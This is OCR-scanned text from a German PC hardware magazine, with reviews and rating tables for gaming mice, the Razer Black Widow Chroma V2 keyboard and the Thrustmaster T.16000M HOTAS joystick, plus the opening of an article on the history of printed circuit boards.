Sehr gut/sehr niedrig: weniger als 1 mm 
Q Ausstattung (u. a. 12-Tasten-Block) 


© Ausstattung (u. a. Easy-Shift)/Druckpunkte © Lift-Off-Distanz unter 1 mm/Umfang Softw. 
© Preis/Online-Zwang für Synapse-Software © Keine Untergrundkalibrierung (Software) © Einstellungen ohne Software nicht nutzbar 


Wertung: 1,42 


Wertung: 1,55 


www.pcgameshardware.de 
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Rutschschicht versehenen Skiller 
SGMI hält die einfach bedienbare 
Software mit Standardumfang zwei 
Effekte sowie einen Regler zum 
Dimmen und Ausschalten der Licht- 
spielereien bereit. Das Gewichts- 
system (6 x 4 g), 1.000 Hz Polling 
Rate und der 16 kb große Speicher 
(sechs Profile/max. 29 Tastenkom- 
binationen) runden die gelungene 
Ausstattung ab. 


Bei der Leistung präsentiert sich 
der erstmals in einer Sharkoon- 
Maus eingebaute, per IR-Optik ab- 
tastende Pixart PMW 3336 fehler- 
und verzögerungsfrei, sodass sich 
die Skiller SGM1 auch bei schon 
gewöhnungsbedürftigen 10.800 
Dpi noch präzise einsetzen lässt. 
überlässt die 
Software dem Spieler die Wahl, 
ob er die Pfadbegradigung nutzen 
will. Die Ergonomie ist gut, aber 
nicht optimal. Der Daumen liegt 


Erfreulicherweise 


zwar bequem in der dafür vorgese- 


henen Ablage auf, die Auflage für 
den Ring- und kleinen Finger fällt 
jedoch bei Palm-Grip zu klein aus. 


Speedlink Decus Respec: Für Spieler 
geeigneter, solide ausgestatteter 
Decus-Nachfolger. Mit ihrem Preis 
von 50 Euro liefert sich die neue 
Decus-Version eher mit Sharkoons 
Skiller SGMI ein Duell um unsere 
Spartipp-Auszeichnung, als die ers- 
ten Plätze dieser Marktübersicht im 
Visier zu haben. Im Vergleich mit 
der teilweise mehr als doppelt so 
teuren Konkurrenz hat die Decus 
Respec nämlich weder eine Spezial- 
ausstattung noch eine Beleuchtung 
im RGB-Farbraum mit verschiede- 
nen Zonen auf Lager. Während das 
Scrollrad permanent blau leuchtet, 
stehen für die Lichtspielereien 
am Heck und der Daumenablage 
nur sieben Farben, zwei Leucht- 
effekte und ein Farbwechselmodus 
zur Verfügung. Anders als bei der 
Roccat Kone EMP oder Corsair 


Scimitar Pro RGB steht dem per 
Infrarot abtastenden Sensor auch 
kein ARM-Prozessor zur Seite, so- 
dass in der ansonsten ordentlichen 
Software keine Optionen für die 
Lift-Off-Distanz oder die Unter- 
grundkalibrierung zu finden sind. 
Die Pfadbegradigung kann aber 
abgeschaltet werden und eine ein- 
fache, jedoch auf 20 Zeichen pro 
Profil limitierte Makrofunktion ist 
auch vorhanden. Wie der direkte 
Konkurrent, die Skiller SGMI, ver- 
fügt auch die Decus Respec über 
ein Gewichtssystem (4 x 45 g) und 
eine Polling-Rate von 1.000 Hz làsst 
sich ebenfalls einstellen. 


Mit ihrer Grillmulde für den Dau- 
men, dem Profil für den Zeige- und 
Mittelfinger auf den Haupttasten 
und der Ablage für den Ring- und 
kleinen Finger sind Form und Er- 
gonomie der Rechtshändermaus 
konsequent auf den Palm-Grip aus- 
gerichtet. Wer den Claw-Grip be- 


—rr 
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Auszug aus Testtabelle 
mit 24 Wertungskriterien 


vorzugt, wird mit der Decus Respec 
wohl weniger glücklich werden als 
mit der Skiller SMG1. Dazu kommt, 
dass die Spielerhand nicht zu groß 
sein darf, sonst passt es mit den 
Griffmulden/Ablagen nicht. Im 
Gegenzug gefällt der Druckpunkt 
der Haupttasten und der IR-Sensor 
tastet anstandslos und mit einer 
geringen Lift-Off-Distanz von ca. 
1,5 mm ab. (fs) 


Fazit Hardware 


Marktübersicht Spielermäuse 

Egal ob die Asus Gladius Il, die Razer 
Mamba 2015 oder der Preis-Leistungs- 
Tipp Roccat Kone EMP, alle drei Nager sind 
empfehlenswerte Spielermäuse, die mit ih- 
rer Ausstattung, Ergonomie und Leistung 
überzeugen. Wie die Wertung zeigt, sind 
auch die Corsair Scimitar Pro RGB, die 
Steelseries Rival und die Creative SB X 
Siege M04 gute Spielpartner. Sparsamen 
Spieler empfehlen wie Sharkoons SMG1. 


Sharkoon 
Sher SGM1 


Нагйшаге 


Getestet 12/16 auf pcgh.de 


Produkt 
Hersteller/Vertrieb (Webseite) 


Rival 700 


Steelseries (https://steelseries.com) 


Sound Blaster X Siege M04 


Creative (http://de.creative.com) 


Skiller SGM1 


Sharkoon (www.sharkoon.com) 


Decus Respec 
Speedlink (www.speedlink.de) 


G403 Prodigy Wireless 


Logitech (www.logitech.de) 


Preis/Preis-Leistung 


Ca. 110,- Euro/ausreichend bis befriedig. 


Ca. 80,- Euro/befriedigend bis gut 


Ca. 40,- Euro/gut bis sehr gut 


Ca. 50,- Euro/gut 


Ca. 95,- Euro/befriedigend bis gut 


| РССН-Ргеїѕуегоіеі ` EIERE www.pcgh.delpreis/1546129 www.pcgh.delpreis/1501343 www.pcgh.delpreis/1546119 \www.pcgh.de/preis/1503381 

Bauart/Anschluss Kabel-Maus/USB Kabel-Maus/USB Kabel-Maus/USB Kabel-Maus/USB Drahtlos/USB (Empfänger/Ladestat.) 

Empfohlener Spielstil Low-, Mid- und High-Sense Low-, Mid- und High-Sense Low-, Mid- und High-Sense Low-, Mid- und High-Sense Low-, Mid- und High-Sense 

Ausstattung: 170 1,80 1,83 2,70 1,78 

Abtastung/Lasertyp Optisch (IR-LED)/Pixart PMW 3360 Optisch (Laser)/Pixart PMW 3360 Optisch (IR-LED)/Pixart PMW 3336 Optisch (IR-LED)/keine Angabe Optisch (IR-LED)/Pixart PMW 3366 

Anzahl Tasten 6 + Scrollrad 6 + Scrollrad 9 + Vier-Wege-Scrollrad 6 + Scrollrad 5 + Scrollradtaste 

Max. Auflösung 16.000 Cpi (entspricht Dpi) 12.000 Dpi 10.800 Dpi 5.000 Dpi 12.000 Dpi (+ Untergrundkalibrier.) 

Kabellänge Ca. 200/100 cm (Ummantelung/gumm.) |Ca. 200 cm Ca. 180 cm Ca. 180 cm Ca. 180 cm (Länge des Ladekabels) 

Sonderausstattung OLED-Display (128 x 36), Vibrations- |Dpi-Umschaltung (drei Stufen, Dpi-Umschaltung (sieben Stufen, Dpi-Umschaltung (vier Stufen, Dpi-Umschaltung (fünf Stufen, 
motor im Heck für taktiles Feedback, 100-Dpi-Schritte), 32 Bit ARM MCU, 50-Dpi-Schritte), Gewichtssystem (4 x — | 50-Dpi-Schritte), Gewichtssystem, Ma- |50-Dpi-Schritte), alle Tasten frei pro- 
Dpi-Umschaltung (zwei Stufen, Ein-Cpi- | Makrofunktion, Speicher (fünf Profile 4 g), Makrofunktion (maximal 29 Tasten- | krofunktion, 128 kb Speicher (fünf Profie | grammierbar, ARM-CPU für Unter- 
Schritte), Speicher für Makros und fünf | und Makros), RGB-Beleuchtung (Boden- |folgen), Speicher (16 kb, sechs Profile), | | und Makros mit bis zu 20 Zeichen), grundkalibrierung (Angle-Snapping/ 
Profile, RGB-Beleuchtung (zwei Zonen: | partie: RGB, X-Logo: rot, Mausrad: weiB/ | RGB-Beleuchtung (Pulsier- und Farb- |Sieben-Farben-Beleuchtung (Scrollrad: |Oberflächentuning), Makrofunktion, 
Scrollrad und Hecklogo, vier Modi mit | drei Beleuchtungseffekte mit Geschwin- | wechselmodus für Logo und Scrollrad), | blau, nicht abschaltbar/Heck und Seiten- | Onboard-Speicher für Makros und 
Geschwindigkeitsregler), 1.000 Hz digkeitsregler inklusive permanenter 1.000 Hz Polling Rate, Transporttasche, | teile, zwei Licht- und ein Farbefeffekt) | Profile, RGB-Beleuchtung mit zwei 
Polling Rate, zwei USB-Kabel (2 m/1m | Beleuchtung mit Farbwahl), 1.000 Hz ейп Satz zusätzlicher Mausglider 1.000 Hz Polling Rate, Schnellfeuertaste | Effekten (Logo am Heck und Scroll- 
Länge) mitgeliefert, Sensor kann ge- Polling Rate, ein Paar zusätzliche (niedrige Dpi-Rate), Alu-Chassis rad), 1.000 Hz Polling Rate, Mikro- 
tauscht werden MausfüBe USB-Adapter für das Ladekabel 

Eigenschaften: 1,40 178 1,85 1,85 1,83 

Geeignet für/Gewicht/Verarbeitung Rechtshänder/ca. 135 Gramm/sehr gut |Rechtshänder/143 Gramm/sehr gut Rechtshänder/ca. 130 Gramm + Rechtshänder/127 Gramm + Rechtshänder/107 Gramm + 

6 x 4,0 Gramm/sehr gut 4 x 4,5 Gramm/sehr gut 10 Gramm/sehr gut 
Druckpunkte Haupt-/Sondertasten Sehr gut/gut bis sehr gut Sehr gut/gut bis sehr out Sehr gut/gut Sehr gut/gut Sehr gut/gut bis sehr gut 
Druckpunkt/Rasterung Scrollrad Gut/sehr gut Befriedigend/gut bis sehr gut Befriedigend bis gut/gut Gut/gut Gut/befriedigend 


Funktionsumfang und Features 
Software 


Leistung: 
Ergonomie 


Gut bis sehr gut/Angle-Snapping 
verstellbar, Gamesense-Feature (drei Vor- 
einstellungen), keine verstellbare Lift-Off- 
Distanz, keine Untergrundkalibrierung, 
1,61 

Gut bis sehr gut (alle Griffstile) 


Gut (Beta Software)/Lift-Off-Distanz/ 
Angle-Snapping verstellbar, keine 
Untergrundkalibrierung 


1,61 
Gut bis sehr gut (alle Griffstile) 


Gut/Angle-Snapping verstellbar, keine 
verstellbare Lift-Off-Distanz, keine 
Untergrundkalibrierung 


1,51 
Gut (alle Griffstile) 


Gut/Angle-Snapping verstellbar, keine 
verstellbare Lift-Off-Distanz, keine 
Untergrundkalibrierung 


1,81 


Befriedigend bis gut (für Palm-Grip 
optimiert) 


Gut bis sehr gut/Untergrundkalibrie- 
rung, Angle-Snapping einstellbar/ 
keine Option für die Lift-Off-Distanz 


1,18 
Sehr gut (alle Griffstile) 


Präzision/1.000 Hz Polling Rate 


Sehr gut/ja, per Software 


Sehr gut/ja, per Software 


Sehr gut/ja, per Software 


Sehr gut/ja, per Software 


Sehr gut/ja, per Software 


Gleiteigenschaften 


Gut 


Gut 


Sehr gut 


Gut bis sehr gut 


Gut 


Abtastverhalten/Lift-Off-Distanz 


Sehr gut/niedrig: ca. 1,2 mm 


FAZIT 


© Nützliche Ausstattung (и. a. OLED) 
© Druckpunkt Haupttaste 
© Software: nur Angle-Snapping 


Wertung: 1,58 


www.pcgameshardware.de 


Gut/niedrig: unter ca. 1,8 mm 


© Druckpunk Haupttasten 
© Sensor: Kontrolle bei 12.000 


Wertung: 1,68 


Sehr gut/niedrig: ca. 1,5 mm 


© Verhältnis Preis/Ausstattung 
© Druckpunkt Haupttasten 


Wertung: 1,83 


Sehr gut/niedrig: ca. 1,5 mm 
Q Ausstattung mit Gewichtssystem 


Sehr gut/niedrig: ca. 1,5 mm 
© Leistung Sensor trotz drahtlos 


© Abtastleistung/niedrige Hubhóhe © Druckpunkt Haupttasten/Softw. 
© Mausrad/Logo nur einfarbig bel. © Rasterung Mausrad/Beleuchtung © Nur Standardsoftware 


Wertung: 1,99 
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© Rasterung Scrollrad n. definiert 


Wertung: 1,43 
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Flotter Schalterdebütant 


Razer liefert die zweite Version der Black Widow Chroma jetzt nicht nur erstmals mit einer Handballenab- 


lage aus, sondern mit der Neuauflage gibt auch der leise und schnelle gelbe Tastenschalter sein Debüt. 


azers mechanische Tastatu- 
К: der Black-Widow-Reihe 
erfreuen sich bei Spielern großer 
Beliebtheit. Seit der Urversion von 
2010 präsentierte man immer neue 
Varianten, bei denen sich vor allem 
die Schalterbestückung und die Be- 
leuchtung änderten. Auf die erste 
Schwarze Witwe folgte noch im sel- 
ben Jahr die blau beleuchtete Ulti- 
mate-Version (Cherry MX Blau). 
2011 erweiterte man die Modellpa- 
lette um die mit Cherry-MX-Brown- 
Schaltern bestückte Stealth Editon. 
Nachdem Razer bei der 2013er-Va- 
riante die Beleuchtungsfarbe von 
Blau auf Grün änderte, verwendete 
man Ende 2014 für die Neuauflage 
der Black Widow erstmals die von 
Kailh im Auftrag gefertigten Green- 
und Orange-Tastenschalter (Eigen- 
schaften entsprechen Cherrys MX 
Blau/Brown). Mit der von uns hier 
getesteten Black Window Chroma 
V2 gibt neben der Handballenabla- 
ge nun der lineare, schnelle Razer 
Yellow Switch seinen Einstand. 


Je mit I ıdballena bla ge 
Razers Black Window Chroma V2 
kann durchaus als behutsame Neu- 


auflage bezeichnet werden. Von 


der weich gepolsterten und mag- 
netisch andockenden Handballen- 
ablage abgesehen, stellten wir bei 
der Ausstattung keine Änderungen 
fest. Wie beim gut bis sehr gut aus- 
gestatteten Vorgänger findet man 
auch bei der Black Widow Chroma 
V2 links vom Haupttastenfeld wie- 
der fünf separate Makrotasten (M1 
bis M5). Die können entweder per 
Direktaufzeichnung oder in der 


sehr umfangreichen und einfach 
bedienbaren Synapse-Software 
mit Tastenfolgen belegt werden. 
Synapse kommt auch ins Spiel, 
wenn man die RGB-Einzeltasten- 
beleuchtung nach seinem Gusto 
einstellen möchte. Wer nicht für 
jede Taste die Beleuchtungsfarbe 
händisch programmieren möchte, 
findet unter „Beleuchtung“ acht 
vorgefertigte Effekte. Wählt man 


ur i 


í“ 4 A 


a a 
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dagegen den Chroma-Konfigurator, 
kann man vorgefertigte Zonen 
(z. B. WASD- und Cusortasten oder 
F-Tastenreihe und M-Tasten) oder 
für bestimmte Spiele-Genres (FPS, 
MOBA, MMO und RTS) bevorzugte 
Tasten bunt leuchten lassen. 


Neben der Makro- und Beleuch- 
tungsprogrammierung bietet 
die Software noch Optionen zur 


Razer Yellow: Der neue Tastenschalter mit RGB-Beleuchtung im Detail 


Ein linearer Auslósepunkt und eine leise Mechanik, damit bewirbt Razer den neuen Yellow Switch, dessen Auslóseweg auf 1,2 mm (Razer Green/Orange: 1,9 mm) und dessen Hubweg 
auf 3,5 mm (Razer Green/Orange: 4 mm) verkürzt ist. Um eine sehr flotte Betátigung zu garantieren, liegt die Druckkraft, vergleichbar mit Cherrys MX Speed, bei niedrigen 45 g. 


Razer Yellow mit RGB-Beleuchtung 
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Razer Yellow ohne RGB-Beleuchtung 


Razer Yellow mit Tastenkappe (wenig Lichtstreuung) 
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Ein nützliches Gimmick für den Schaltertest 
vor dem Kauf ist der in den Karton einge- 
lassene Yellow-Switch-Schlüsselanhänger. 


Polling Rate sowie zum Gaming- 
Modus, mit dem sich der Windows- 
Knopf und/oder die Tastenkom- 
binationen Alt+Entf sowie Alt+F4 
deaktivieren lassen. Zur weiteren 
Ausstattung gehören sechs Multi- 
mediatasten (Doppelbelegung Fl 
bis F3 und F5 bis F7), ein USB-2.0- 
und Sound-Anschluss sowie ein 
interner Speicher für ein auch an 
einem PCs ohne Synapse abrufba- 
res Profil inklusive Makro- und Be- 
leuchtungseinstellungen. 


Ergonomie aufgewertet 

Die Tatsache, dass Razer der Neu- 
auflage der Black Widow Chroma 
Handballenablage 
spendiert, wirkt sich auch positiv 
auf die Bewertung der Ergono- 
mie aus. Wir können für die Black 
Widow Chroma V2 hier nun prob- 
lemlos ein „Sehr gut“ geben. Wie 
die Handballenablage der Razer 
Ornata Chroma dockt auch das auf 
die Black Widow Chroma V2 zuge- 
schnittene Modell magnetisch an 
die aus Metal gefertigte Abdeckung 
des Chassis an und hält dort selbst 
dann noch sehr gut, wenn es beim 
Spielen hektisch und schnell zu- 
geht. Doch nicht nur Spieler, auch 
Vielschreiber profitieren von dem 
Extra, denn dank der zusätzlichen 
Polsterung liegen die Handballen 
sehr bequem auf, ohne dass sich das 
Handgelenk verspannt. 


erstmals eine 


Eine Sache, die uns bei einigen 
Black-Widow-Modellen ^ aufgefal- 
len ist, finden wir leider auch bei 
der neuen Black Widow Chroma 
V2 wieder. Obwohl die M-Tasten 
durch einen ca. 1,5 mm breiten 
Steg im Chassis vom Haupttasten- 
feld getrennt sind, lóst man beim 
Blindschreiben schon einmal eine 
M-Taste anstelle der Tabulator- 
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Umschalt-Feststell-, Umschalt- oder 
Strg-Taste aus. Das nervt besonders 
dann, wenn man Makrotasten mit 
Zeichenfolgen belegt hat. Am rest- 
lichen, im ISO/MF-Standard gehal- 
tenen Tastenlayout gibt es genauso 
wenig zu beanstanden wie an der 
spürbaren Wólbung der nach oben 
schmal zulaufenden Tastenkappen. 


Tastenschalter mit Vorbild 

Die zweite wichtige Neuerung der 
Black Widow Chroma V2 ist der 
neue Razer-Tastenschalter mit gel- 
ber Farbcodierung. Anders als der 
Razer Green und Razer Orange 
Switch ist der taktil und gibt am 
Auslósepunkt weder ein hórba- 
res noch spürbares Feedback. Die 
zweite Besonderheit ist der auf 1,2 
mm verkürzte Auslóse- und der auf 
3,5 mm verkürzte Hubweg. Mit ei- 
nem Auslösedruck von 45 g ähnelt 
der Razer Yellow damit dem Cher- 
ry MX Speed RGB Silver (Auslóse- 
punkt 1,2 mm, Hubweg; 3,4 mm, 
Betátigungskraft: 45 g) und Razer 
kann zu Recht behaupten, dass es 
sich hier um einen sehr schnellen 
Schalter handelt. Wie wir im Test 
selbst feststellten, eignet sich der 
Razer Yellow optimal für eine sehr 
schnelle Mehrfachbetätigung beim 
Spielen. Beim Schreiben muss man 
sich jedoch erst an die geringe Ak- 
tivierungskraft und den verkürzten 
Auslóseweg gewóhnen. (fs) 


Black Widow Chroma V2 


Produktname 
Hersteller (Vertrieb) 


Razer (www.razerzone.com/de-de) 


Preis/Preis-Leistung 


Ca. € 190,- Euro/ausreichend 


PCGH-Preisvergleich 


www.pcgh.de/preis/577830 (Modell mit Razer Orange RGB) 


Bauart/Anschluss 
Ausstattung (20 %) 
Kabellänge 


Kabeltastatur/USB 2.0 
1,36 
Ca. 210 cm 


Handballenablage 


Ja 


Beleuchtung/Feature- und Effektumfang/ 
Effekt per Taste abrufbar 


Ja/RGB-Beleuchtung mit 20 Helligkeitsstufen (Pro- 
grammierbare Einzeltastenbeleuchtung im vollen 
RGB-Farbspektrum mit acht vordefinierten Effekten, 
Zonenbeleuchtung und acht Gaming-Modi)/nein, nur in 
Synapse-Software abruf- und speicherbar 


Tastenanzahl 


110 Tasten 


USB-Ports/Soundanschlüsse 


Ja, einmal USB 2.0/Ja, einmal 3.5mm Klinke 


Extras 


Multimediatasten (Doppelbelegung F1 bis F3 und F5 

bis F7), RGB-Einzeltastenbeleuchtung, Profilverwaltung 
(Software), Makrofunktion (inklusive Direktaufzeichnung), 
interner Speicher für den aktuellen Beleuchtungs- 

effekt, NKRO am USB-Port, 1.000 Hz Polling Rate, 
Synapse-Cloud-Software wird zwingend benötigt 


Hóhenverstellung 


Tastaturlayout/Übersichtlichkeit 


Eigenschaften (20 %) 1,70 


Ja 


Full-Size (Standard MF/ISO)/gut (M-Tasten sehr nah am 
Haupttastenfeld) 


Tastenhóhe (Haupttasten) 


Normal 


Ergonomie/Rutschfestigkeit 


Sehr gut/gut bis sehr gut 


Windowstasten 


Ja, per Fn + F10 deaktivierbar 


Abmessungen (L x B x H)/Gewicht 
Leistung (60 %) 
Tastenanschlag/Druckpunkt 


47,5 x 17,1 x 3,9 cm/ca. 1.500 Gramm 
1,15 
Sehr gut/Sehr gut 


Schalterart/Aktivierungsdruck 


Razer Yellow RGB (Linear, 45 cN [g]/1,2 -+0,3 mm 
Auslóse- und 3,5 mm Anschlagsweg), einfarbiges Schal- 
tergehäuse) 


Key Rollover 


NKRO (am USB-Port) 


Software: Anwenderfreundlichkeit/Umfang 


Sehr gut/sehr umfangreich (Makro-Editor und Beleuch- 
tungsprogrammierung) 


Software: Beleuchtungsprogrammierung/Effekte 


Sehr einfache Beleuchtungsprogrammierung mit vielen 
Optionen/acht vorgefertigte Effeke, Zonenbeleuchtung, 
vier Profile für Spiele-Genres (per Synapse einstellbar) 


Frei programmierbare Makros 


Ja 


Office-/Spiele-Tauglichkeit 


FAZIT 


Gut bis sehr gut/sehr gut 


© Ergonomie dank gepolsterter Handballenablage 
© Eigenschaften Razer-Yellow-Schalter/Ausstattung 
© M-Tasten zu nah am Haupttastenfeld 


Wertung: 1,30 


Ausstattungsmerkmale wie der USB-2.0- und Sound-Anschluss (vierpolig, 3,5 mm Klinke) sind schon beim Vorgänger der Razer Black 
Widow Chroma V2 zu finden. Die Handballenablage jedoch ist neu und verhilft der Neuauflage zu einer verbesserten Wertung von 1,30. 
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Preisbewusst Pilotieren 


Der Markt für HOTAS-Joysticks ist überschaubar, ebenso die Spiele, bei denen man 
ein Eingabegerät wie unsere Preis-Leistungs-Empfehlung nutzen kann. 


m Weltraum-Spiele war es lan- 

ge Zeit sehr still, bis die mittels 
Kickstarter initiierten und durch 
die Community per Crowdfunding 
finanzierten Titel Elite Dangerous 
und Star Citizen Aufmerksamkeit 
auf das Genre zogen. Mit der gestie- 
genen Popularitát kam auch wieder 
Leben in den Joystick-Markt und be- 
kannte Hersteller wie Thrustmaster 
oder Saitek (mittlerweile Logitech) 
präsentierten neue HOTAS-Syste- 
me. Wie wir in der Marktübersicht 
der Ausgabe 01/2015 (siehe Begleit- 
material) feststellten, lagen die aus 
einem Joystick und einer getrennen 
Schubeinheit bestehenden HOTAS- 
Systeme (Abkürzung für: Hands 
on Throttle and Stick) preislich 
zwischen 200 Euro und 300 Euro. 
Ein erfahrener Pixelpilot, der nicht 
nur ein Raumschiff sondern auch 
auch ein Flugzeug bei einer Flug- 
simulation steuern möchte, wird 
diesen Preis wohl zahlen. Doch 
was machen Hobbyflieger, deren 
Anspruch weniger hoch ist? Für die 
hätten wir mit dem Thrustmaster 
T.16000M FCS HOTAS ein günstiges 
und trotzdem voll simulations- und 
Star Citizen-taugliches Mittelklasse- 
Modell parat. 


Mit dem für 210 Euro erhältlichen 
T.16000M FCS Flight Pack hat 
Thrustmaster vor allem den fort- 
schrittlichen Flieger im Visier. 


Einzeln oder im Paket 

Die Ausstattung des Joysticks im ge- 
testeten Paket, der für rund 50 Euro 
auch einzeln erhältlich ist, lässt 
wenig Wünsche offen. Der Thrust- 
master T.16000M wird per USB an- 
geschlossen, bietet direkt am Stick 
drei um den 8-wegigen Coolie-Hat 
herum positionierte Daumentasten 


sowie einen transparenten und in 
stylischem Orange gehaltenen Trig- 
ger. An der Joystick-Basis, die dank 
ihrem Gewicht von 900 Gramm bei 
niedrigem Schwerpunkt sowie ins- 
gesamt acht Gummifüßchen und 
der breiten Auflagefläche einen 
sicheren Stand ermöglicht, finden 
sich weitere 12 Knöpfe sowie ein 


PREIS-LEISTUNGS-TIPP 


Thrustmaster 
Т.16000М FCS НОТАЅ 


Hardware 


kleiner Schubregler. Letzgenann- 
ter erlaubt jedoch keine besonders 
gute Schubdosierung, weil er wa- 
ckelig ist und der Widerstand zu ge- 
ring ausfällt. An der Basis ist außer- 
dem ein orangefarbener LED-Ring 
verbaut, der aufleuchtet, wenn der 
Joystick bedient wird - das lässt 
sich leider nicht abstellen. Zu den 


Die für 90 Euro auch einzeln erhältlichen Ruderpedale (Thrustmaster TFRP) können bei- 
spielsweise anstelle der Z-Achse des Joystick für Roll- und Gear-Manöver genutzt werden. 
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Die Schubeinheit des T.16000M FCS HOTAS bietet einen verstellbaren Wiederstand und 
ist mit drei Acht-Wege-Schaltern einer Analogwippe und einem Thumbstick ausgestattet. 
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weiteren Extras, die am Thrustmas- 
ter T.16000M zu finden sind, gehö- 
ren zwei Gewindebohrungen für 
die Bestigung auf einer Holzplatte 
oder Armatur sowie ein Satz Gum- 
mipolster für den Dauem und Zei- 
gefinger, mit denen sich der Stick 
für Linkshänder umrüsten lässt. 


Mehr als nur Schubkontrolle 
Interessant wird der Thrustmaster 
T.16000M aber erst in Kombinati- 
on mit dem Flight Control System 
(FCS), also der Schubeinheit im 
günstigen Paket. Der mit 16-Bit ab- 
tastende Schubregler ist ebenfalls 
reichlich umfangreich für die vir- 
tuelle Fliegerei ausgestattet, denn 
am gut in der Hand liegenden Griff 
platziert Thrustmaster neben drei 
orangefarbenen Knöpfen, die ohne 
Mikroschalter auskommen müssen, 
noch viele weitere nützliche Be- 
dienelemente. Dazu gehören der 
Coolie-Hat sowie zwei weitere Acht- 
Wege-Steuer-Elemente, ein Drehrad, 
ein Zwei-Wege-Mini-Schieberegler 
ein analoger Thumbstick sowie eine 
analoge Wippe (horizontal), die 
beispielsweise für Schubmodifika- 
tionen oder ein Rollen-Flugmanöver 
genutzt werden kann. Der Wider- 
stand des Schubreglers kann sogar 
per Schraube auf der Unterseite mo- 
difiziert werden, wobei uns der ma- 
ximal mögliche Widerstand noch 
etwas zu gering ausfällt. 


Die Praxis: Ein gutes Team 

Technisch ist der Thrustmaster 
T.16000M, der angenehm in der 
Hand liegt und dessen Tasten in- 
klusive des nicht knackig genug 


auslösenden Triggers gut zu errei- 
chen sind, sehr überzeugend. Bei 
unseren Probeflügen durchs All mit 
Star Citizen (Arena Commander) 
überzeugte uns vor allem die sehr 
gute Präzision, denn der T.16000M 
nutzt eine mit 16.000 x 16.000 dpi 
abtastende 3D-Magnetfeld-Techno- 
logie, die Thrustmaster HEART 
(HallEffect AccuRate Technologie) 
getauft hat. Ebenfalls sehr gut funk- 
tioniert das Rollen mittels der drit- 
ten Joystick-Achse. Sauber lässt sich 
das Schiff durch Asteroidenfelder 
bugsieren oder hinter den Bug des 
feindlichen Jägers manövrieren. 


Im Zusammenspiel mit dem per 
S.M.A.R.T-Technik gelagerten und 
mit 16-Bit abtastenden Schubregler 
ist noch eine deutlich höhere Präzi- 
sion beim Fliegen möglich. Mit der 
linken Hand am Schubregler (kein 
Umbau für rechte Hand möglich) 
und der rechten am Joystick, lässt 
sich das Fluggerät nicht nur sehr 
gut steuern, sondern dank stufenlo- 
ser Schubkontrolle auch in der Ge- 
schwindigkeit präzise regeln. Dank 
der vielen Knöpfe und Schalter muss 
man nicht mehr die Hand von den 
Kontrollen nehmen, um beispiels- 
weise bei Raketenbeschuss Täusch- 
körper auszuwerfen. Das gesamte 
HOTAS-System ist sehr intuitiv zu 
bedienen, bietet eine angenehm 
hohe Präzision, und kann mittels 
Thrustmaster-Software T.A.R.G.ET. 
komplett den Wünschen angepasst 
werden. Und bei dem niedrigen 
Preis können auch Einsteiger und 
Gelegenheitsflieger bedenkenlos zu- 


(fs/pr) 


greifen. 


In der Ausgabe 01/2015 
haben wir neben Einstei- 
ger-Joysticks Oberklas- 
se-Varianten wie den Saitek 
Pro Flight X-55 Rhino oder Th- 


Produkt 
Hersteller (Webseite) 


T.16000M FCS HOTAS 


Thrustmaster (www.thrustmaster.com/de) 


Preis/Preis-Leistungs-Verhàltnis 


Anschluss/Bauart 


€ 120,-/gut 


PCGH-Preisvergleich 


www.pcgh.de/preis/1460964 


USB/analog (HOTAS-System), Ruderpedale optional 


Gewicht 


900 g (Stick)/725 g (Schubeinheit) 


Anti-Rutsch-Mechanismus/Befestigungsmög- 
lichkeit 


Gummifüße/Bohrung für Schrauben (Joystick und 
Schubeinheit) 


Kabellänge/Steuerknüppel drehbar (Z-Achse) 


180 cm (Joystick und Schubeinheit)/ja 


Anzahl Acht-Wege-Schalter (Stick/Schubeinheit) 


13 


Anzahl weitere Schalter (Stick/Schubeinheit) 


-lein Zwei-Wege-Schalter, eine Analogwippe, eine 
Drehregler, ein Thumbstick 


Anzahl: Trigger + Programmierbare Tasten (Stick 
und Basis/Schubeinheit) 


Ein Trigger + 15 Knöpfe (Stick)/kein Trigger + 3 Knöpfe 
+ Knopf Thumbstick (Schubregler) 


Schubregeler/separate Schubeinheit 


Ja/ja 


Weitere Sonderausstattung 


Widerstand Schubregler einstellbar, Thumbstick an der 
Schubeinheit, Beleuchtung an der Basis des Joysticks 


Optionale Ausstattung: Ruderpedale separat 
erháltlich/Paket mit Ruderpedalen 


Ruderpedale einzeln (Thrustmaster T. Flight Rudder 
Pedals: ca. 90 Euro)/im Paket (Thrustmaster T. 16000M 
FCS Flight Pack: ca. 210 Euro) 


Ergonomie/Griffigkeit Steuerknüppel 


Gut bis sehr gut 


Ergonomie Schubregler Sehr gut 
Erreichbarkeit der Knöpfe (Stick + Basis/Schubregler) | Gut bis sehr gut/gut bis sehr gut 
Rutschfestigkeit Sehr gut 


Widerstand Schubregler 


Sehr gut (per Schraube auf der Unterseite einstellbar) 


Reaktion Steuerknüppel Sehr gut 

Dosierbarkeit/Reaktion Schubregler Gut bis sehr gut 

Druckpunkt-Trigger/Acht-/Vier- oder Zwei-Wege- |Gut/sehr gut/gut 

Schalter 

Druckpunkt zusátzliche Tasten Sehr gut 

Erkennung des Sticks ohne Treiberinstallation Ja (T.A.R.G.E.T.-Software für sehr gute Konfiguration) 
+ 
+ 


D 


Obwohl sich der Joystick für Linkshänder umrüsten lasst, indem man die Halterungen für 
Daumen und Zeigefinger tauscht, ist die Ergonomie bei großen Händen nicht optimal. 


rustmaster HOTAS Warthog getestet. Da kaum 
neue HOTAS-Systeme auf dem Markt sind, 
bleiben diese Modelle die aktuelle Referenz. 
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Wie Ше Elektronik 
ihre Struktur bekam 


Smartphones, Rechenfarmen, Raumfahrt - alles ist auf das perfekte Zusammenspiel elektronischer 


Bauelemente angewiesen. Möglich ist dies nur durch eine Erfindung: die gedruckte Leiterplatte. 


ie Europa-Premiere der Edi- 
DI... Glühbirne 1881 
auf der ersten internationalen 
Elektrizitätsaustellung in Paris 
markierte den Beginn der Elek- 
trifizierung in Europa und in- 
nerhalb kürzester Zeit hielt der 
elektrische Strom Einzug in das 
alltägliche Leben der Menschen. 
Heizen, kochen und beleuchten - 
alles war nun ohne Verbrennung 


von Öl, Holz oder Kohle möglich. 


Elektrotechnik war neben künstli- 
chem Licht zum Ende des 19. Jahr- 
hunderts in die Großstädte und 
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Haushalte eingezogen und die neu- 
en Geräte wurden rasch komple- 
xer. Kondensatoren, Elektroröhren, 
Spulen und Widerstände wurden 
im Gerät auf Grund ihrer Größe 
noch frei von Hand verdrahtet. 
Lediglich Lötleisten stützten das 
Innenleben und schwere Bauele- 
mente wurden mit Schnallen direkt 
am Gehäuse befestigt. Verständlich, 
dass solche Geräte äußerst fehler- 
anfällig, unübersichtlich und über- 
dimensioniert waren. Die daraus 
